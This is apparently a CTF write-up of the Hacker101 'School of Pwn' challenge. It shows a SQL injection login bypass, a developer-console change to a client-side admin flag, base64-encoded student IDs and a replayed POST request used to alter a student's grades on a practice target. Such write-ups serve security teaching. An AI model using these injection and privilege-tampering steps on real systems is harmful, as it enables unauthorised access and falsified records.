HackerOne CTF OSUSEC (Spoilers)
OSUSEC
School of Pwn
This app launches straight to a login page. A modal pops up, explaining:
"Natasha Drew really wants to go to hacker camp but she doesn't have the grades. Hack into the OSUSEC student portal and give her all A's so she can go!
Could this login be vulnerable to a SQL injection?
' or id=1; --
It sure is:
OSUSEC
Your Students
Name | English | Science | Maths |
---|---|---|---|
Brett, Nancie | A | A | A |
Carr, Finnlay | B | B | A |
Castillo, Codie | B | C | C |
Cousins, Jared | B | C | C |
Dickson, Manav | B | B | A |
Gallagher, Juniper | A | A | A |
Gallagher, Lucien | A | A | C |
Gibbs, Syed | C | A | C |
Kaufman, Gina | C | C | B |
Parkes, Leonardo | B | B | B |
Reeves, Arjan | C | C | B |
Rodriguez, Che | A | B | A |
Rosa, Siraj | C | A | A |
Schroeder, Sommer | B | C | A |
Talbot, Hajrah | C | B | C |
Whitehouse, Sahara | B | A | C |
Whitworth, Iwan | A | A | B |
Wilkins, Myron | B | C | A |
Wilkins, Myron | C | A | A |
The SQL injection for id=1 grants access as "rhonda.daniels". But Natasha Drew is not one of her students. What about the other ids? Iterating over the ids 2, 3, and 4 grants access to the staff accounts for tyron.broughton, janice.fitzpatrick, and tom.harvey. But Natasha isn't a student of any of these teachers either. Fuzzing the IDs from 5-100 with Caido Automate produces nothing but 401 errors, suggesting these four teachers are the only accounts. Does Natasha Drew even go to this school? Well, no matter, just another challenge to overcome, right?
Three things jump out when taking a look at the the source code for one of these pages:
<!DOCTYPE html>
<html lang="en">
<head>
<title>OSUSEC - Dashboard</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
</head>
<body>
<div class="pull-right" style="padding:10px">
Logged In As: <strong>rhonda.daniels</strong>
<a href="logout" style="margin-left:20px" class="btn btn-danger">Logout</a>
</div>
<div class="container" >
<h1 class="text-center">OSUSEC</h1>
<h4 class="text-center">Your Students</h4>
<div class="row">
<div class="col-md-8 col-md-offset-2">
<div class="panel panel-default" style="margin-top:30px">
<div class="panel-heading">Students</div>
<div class="panel-body" style="padding:0">
<table class="table" style="margin:0;">
<tr>
<th>Name</th>
<th class="text-center">English</th>
<th class="text-center">Science</th>
<th class="text-center">Maths</th>
</tr>
<tr>
<td data-id="TmFuY2llX0JyZXR0" class="student-link">Brett, Nancie</td>
<td class="text-center">A</td>
<td class="text-center">A</td>
<td class="text-center">A</td>
</tr>
<tr>
<td data-id="RmlubmxheV9DYXJy" class="student-link">Carr, Finnlay</td>
<td class="text-center">B</td>
<td class="text-center">B</td>
<td class="text-center">A</td>
</tr>
<tr>
<td data-id="Q29kaWVfQ2FzdGlsbG8=" class="student-link">Castillo, Codie</td>
<td class="text-center">B</td>
<td class="text-center">C</td>
<td class="text-center">C</td>
</tr>
<tr>
<td data-id="SmFyZWRfQ291c2lucw==" class="student-link">Cousins, Jared</td>
<td class="text-center">B</td>
<td class="text-center">C</td>
<td class="text-center">C</td>
</tr>
<tr>
<td data-id="TWFuYXZfRGlja3Nvbg==" class="student-link">Dickson, Manav</td>
<td class="text-center">B</td>
<td class="text-center">B</td>
<td class="text-center">A</td>
</tr>
<tr>
<td data-id="SnVuaXBlcl9HYWxsYWdoZXI=" class="student-link">Gallagher, Juniper</td>
<td class="text-center">A</td>
<td class="text-center">A</td>
<td class="text-center">A</td>
</tr>
<tr>
<td data-id="THVjaWVuX0dhbGxhZ2hlcg==" class="student-link">Gallagher, Lucien</td>
<td class="text-center">A</td>
<td class="text-center">A</td>
<td class="text-center">C</td>
</tr>
<tr>
<td data-id="U3llZF9HaWJicw==" class="student-link">Gibbs, Syed</td>
<td class="text-center">C</td>
<td class="text-center">A</td>
<td class="text-center">C</td>
</tr>
<tr>
<td data-id="R2luYV9LYXVmbWFu" class="student-link">Kaufman, Gina</td>
<td class="text-center">C</td>
<td class="text-center">C</td>
<td class="text-center">B</td>
</tr>
<tr>
<td data-id="TGVvbmFyZG9fUGFya2Vz" class="student-link">Parkes, Leonardo</td>
<td class="text-center">B</td>
<td class="text-center">B</td>
<td class="text-center">B</td>
</tr>
<tr>
<td data-id="QXJqYW5fUmVldmVz" class="student-link">Reeves, Arjan</td>
<td class="text-center">C</td>
<td class="text-center">C</td>
<td class="text-center">B</td>
</tr>
<tr>
<td data-id="Q2hlX1JvZHJpZ3Vleg==" class="student-link">Rodriguez, Che</td>
<td class="text-center">A</td>
<td class="text-center">B</td>
<td class="text-center">A</td>
</tr>
<tr>
<td data-id="U2lyYWpfUm9zYQ==" class="student-link">Rosa, Siraj</td>
<td class="text-center">C</td>
<td class="text-center">A</td>
<td class="text-center">A</td>
</tr>
<tr>
<td data-id="U29tbWVyX1NjaHJvZWRlcg==" class="student-link">Schroeder, Sommer</td>
<td class="text-center">B</td>
<td class="text-center">C</td>
<td class="text-center">A</td>
</tr>
<tr>
<td data-id="SGFqcmFoX1RhbGJvdA==" class="student-link">Talbot, Hajrah</td>
<td class="text-center">C</td>
<td class="text-center">B</td>
<td class="text-center">C</td>
</tr>
<tr>
<td data-id="U2FoYXJhX1doaXRlaG91c2U=" class="student-link">Whitehouse, Sahara</td>
<td class="text-center">B</td>
<td class="text-center">A</td>
<td class="text-center">C</td>
</tr>
<tr>
<td data-id="SXdhbl9XaGl0d29ydGg=" class="student-link">Whitworth, Iwan</td>
<td class="text-center">A</td>
<td class="text-center">A</td>
<td class="text-center">B</td>
</tr>
<tr>
<td data-id="TXlyb25fV2lsa2lucw==" class="student-link">Wilkins, Myron</td>
<td class="text-center">B</td>
<td class="text-center">C</td>
<td class="text-center">A</td>
</tr>
<tr>
<td data-id="TXlyb25fV2lsa2lucw==" class="student-link">Wilkins, Myron</td>
<td class="text-center">C</td>
<td class="text-center">A</td>
<td class="text-center">A</td>
</tr>
</table>
</div>
</div>
</div>
</div>
</div>
<script>
var staff = {
admin : false,
name : 'rhonda.daniels'
}
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
<script src="assets/js/app.min.js"></script>
</body>
</html>
First, the page appears to embed whether or not the current user has admin privilege into a javascript object called "staff":
var staff = {
admin : false,
name : 'rhonda.daniels'
}
There's an app.min.js file that is easily reformatted to be readable. It appears to rely on this staff.admin attribute to expose some functionality for updating a student's information:
(function(s, objectName) {
setupLinks = function() {
if (s.admin) {
var sl = document.getElementsByClassName("student-link");
for (i = 0; i < sl.length; i++) {
let name = sl[i].innerHTML;
sl[i].style.cursor = 'pointer';
sl[i].addEventListener("click", function() {
window.location = '/update-' + objectName + '/' + this.dataset.id;
});
}
}
};
updateForm = function() {
var submitButton = document.getElementsByClassName("update-record");
if (submitButton.length === 1) {
submitButton[0].addEventListener("click", function() {
var english = document.getElementById("english");
english = english.options[english.selectedIndex].value;
var science = document.getElementById("science");
science = science.options[science.selectedIndex].value;
var maths = document.getElementById("maths");
maths = maths.options[maths.selectedIndex].value;
var grades = new Set(["A", "B", "C", "D", "E", "F"]);
if (grades.has(english) && grades.has(science) && grades.has(maths)) {
document.getElementById('student-form').submit();
} else {
alert('Grades should only be between A - F');
}
});
}
};
setupLinks();
updateForm();
})(staff, 'student');
And finally, each student has a row in the table with a "data-id" attribute:
<tr>
<td data-id="TmFuY2llX0JyZXR0" class="student-link">Brett, Nancie</td>
<td class="text-center">A</td>
<td class="text-center">A</td>
<td class="text-center">A</td>
</tr>
This data-id is a base64 encoded string for "Nancie_Brett". Opening up the developer console, it's possible to set:
s = staff;
s.admin = true;
setupLinks();
Now every student name is clickable, bringing up a form:
OSUSEC
Brett, Nancie
Cleary there was no server side validation of the user's admin status. Submitting this form updates the student's grades using a POST request to /update-student/{data-id}:
POST /update-student/TmFuY2llX0JyZXR0 HTTP/1.1
Host: *..ctf.hacker101.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: https://*..ctf.hacker101.com
Connection: keep-alive
Referer: https://*..ctf.hacker101.com/update-student/TmFuY2llX0JyZXR0
Cookie: token=Yzc0Njk0OWZlM2YxYjcwYzA1Nzk0YjUyMjMzNzEzMjhmNmNhYzM3MTQ1NmRkOWZjZTRhYTgwNjNiZDRhZGYyMDJkYWM1NjdlYzIwZWYzNTllYjI4MGE2OTM4N2FjNzZjZGFjM2UwMWE2ZWYwODA1YzQzMTQyNThkMDZmY2Y1NTY%3D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
student_hash=706c7742c6afc1423491358896abe90a&grade_english=F&grade_science=F&grade_maths=F
The base64 encoded value for "Natasha_Drew" is "TmF0YXNoYV9EcmV3", and navigating to /update-student/TmF0YXNoYV9EcmV3 pulls up Natasha's grades to be updated. Changing them all to A and submitting the form produces the flag for this level:
OSUSEC
Drew, Natasha
Awesome! Natasha has got top marks and can now attend Hacker Camp!!!!
^FLAG^**********$FLAG$
Hope you enjoy Hacker Camp, Natasha!